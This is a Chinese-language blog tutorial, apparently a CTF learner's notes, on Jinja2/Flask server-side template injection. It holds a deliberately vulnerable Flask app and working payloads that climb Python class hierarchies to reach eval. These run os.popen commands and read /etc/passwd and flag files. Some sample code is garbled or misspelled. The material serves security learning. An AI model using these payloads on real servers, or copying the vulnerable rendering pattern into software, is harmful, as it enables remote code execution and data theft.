SSTI模板注入学习

首先,新人初见这个有点蒙圈,8知道怎么学,需要学什么,总之看wp和看文章发现啥也8会,于是在学完后我总结了一下
问了下大佬,大概学个原理再加python的flask就可以上手了,其他的框架都是遇到了现学(知道原理即可,本质还是字符串注入)

然后关于payload的构造,也是非常简单,打开python交互中断跟着敲一遍就会了
由于SSTI涉及的模板太多了,因此该学一手tplmap??

比如以下这个有漏洞代码:

1
2
3
4
5
6
7
8
<html>
<head>
<title>SSTI_TEST</title>
</head>
<body>
<h1>Hello, %s !</h1>
</body>
</html>

正确代码应该是:

1
2
3
4
5
6
7
8
<html>
<head>
<title>{{title}}</title>
</head>
<body>
<h1>Hello, {{name}} !</h1>
</body>
</html>

成因

render_template渲染函数的问题
链接
即:{undefined{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{undefined{}}包裹的内容当做变量解析替换。比如{undefined{1+1}}会被解析成2
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过

Flask里的SSTI漏洞

在 CTF 中,最常见的也就是 Jinja2 的 SSTI 漏洞了,过滤不严,构造恶意数据提交达到读取 flag 或 getshell 的目的。下面以 Python 为例:
Flask SSTI 题的基本思路就是利用 python 中的 魔术方法 找到自己要用的函数。

1
2
3
4
5
6
7
__dict__:保存类实例或对象实例的属性变量键值对字典
__class__:返回调用的参数类型
__mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__:返回类型列表
__subclasses__:返回object的子类
__init__:类的初始化方法
__globals__:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价

通常操作:
测试有么有注入:

1
/login?name={{7*7}}  /*或者{undenfined{7*7}},如果返回了49就说明有漏洞*/
1
[].__class__.__base__.__subclasses__(int x)

基类+子类列出所有类, 这些类中含有file\open等函数

关于python的前置知识

我们阔以利用的类一般有哪些?
file:

1
().__class__.__base__.__subclasses__()[40]('/etc/passwd').read()

以一个简单的flask代码为例:

1
2
3
4
5
6
7
from flask import Flask,rendr_template
app=Flask(dick)
@app.route("/")
#这里呢..是在设置页面内容,是使用flask模板的固定语句,参数为'/',意思就是再访问'/'页面时会执行随后定义的index函数
def index():
return render_template("H3llo.html") #Hllo.html就是会显示的东西
app.run # 运行我们设置的模板

再来一段完整的flask框架代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import re
from flask import Flask,render_template_string,request
app=Flask(__name__)
indexhtml="""
<html>
<title>just a test</title>
<body><h1>
why not come <a href="ssti">here </a>to have a look</h1>
</h1></body>
</html>
"""
whoareuhtml="""
<html>
<title>here s ssti</title>
<body>
<h3>you should tell me who you are then i can say hello to u!(use ?name= in url)</h3>
</body>
</html>
"""
tinyhtml="""
<html>
<title>here s ssti</title>
<body>
<h1>hello %s</h1>
</body>
</html>
"""
@app.route("/index")
@app.route("/")
def index():
return indexhtml
@app.route("/ssti")
def ssti():
name=request.args.get("name")
if not name:
return render_template_string(whoareuhtml)
else:
return render_template_string(tinyhtml%name)
if __name__=="__main__":
app.run(debug=True)

一道payload解析

1
2
3
4
5
6
7
8
9
10
11
{% for c in [].__class__.__base__.__subclasses__() %}   #利用数组的父类+子类
{% if c.__name__ == 'catch_warnings' %} #catch_warnings是什么鬼? 原因是需要的函数往往在catching_warnings下
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %} #这是何意?
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %} #至于{%%}这些东西,是用来在html里执行python代码

payload是怎么构造来的(以flask为例)

首先,在cmdd输入python,打开交互式界面
然后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
>>> 'shit'.__class__ 
<class 'str'>
>>> 'shit'.__class__.__base__ #返回'shit'的类的父类
<class 'object'>
>>> 'shit'.__class__.__base__.__subclasses__() #__subclasses()函数返回类的所有子类
[<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>#.......以下省略,总之很多]
>>> 'shit'.__class__.__base__.__subclasses__()[80]
<class 'weakref'>
>>> 'shit'.__class__.__base__.__subclasses__()[80].__init__
<slot wrapper '__init__' of 'weakref' objects> #"'weakref'对象的插槽包装器'__init__'"(直译,意思就是返回了个函数)
# wrapper是指这些函数并没有被重载,这时他们并不是function,不具有__globals__属性
#这里为什么要调用__init__呢,因为python一切皆对象,然后我也解释不清了.....
#再换几个子类,很快就能找到一个重载过__init__的类,比如balabala......
>>> 'shit'.__class__.__base__.subclasses__()[103].__init__.__globals__['builtins']
# 以下省略一堆,总之,__globals__['builtins']选中了builtins模块,这个模块里有很多牛逼的函数(比如eval)
>>> ''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').popen('type flag.txt').read()")

#<!---------------------->
# payload2
{{''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__'].open("flag.txt").read()}}
# payload3
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("type flag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
# os模块都是从catching_warnings模块入手
#逻辑相关的用{%%},变量相关的用{{}}

more

Jinjan2 基础语法

1
2
3
{% … %}
{{ … }}
{# … #}

SSTI模板注入学习
https://bl4zygao.github.io/2022/04/09/SSTI模板注入/
Author
bl4zy
Posted on
April 9, 2022
Licensed under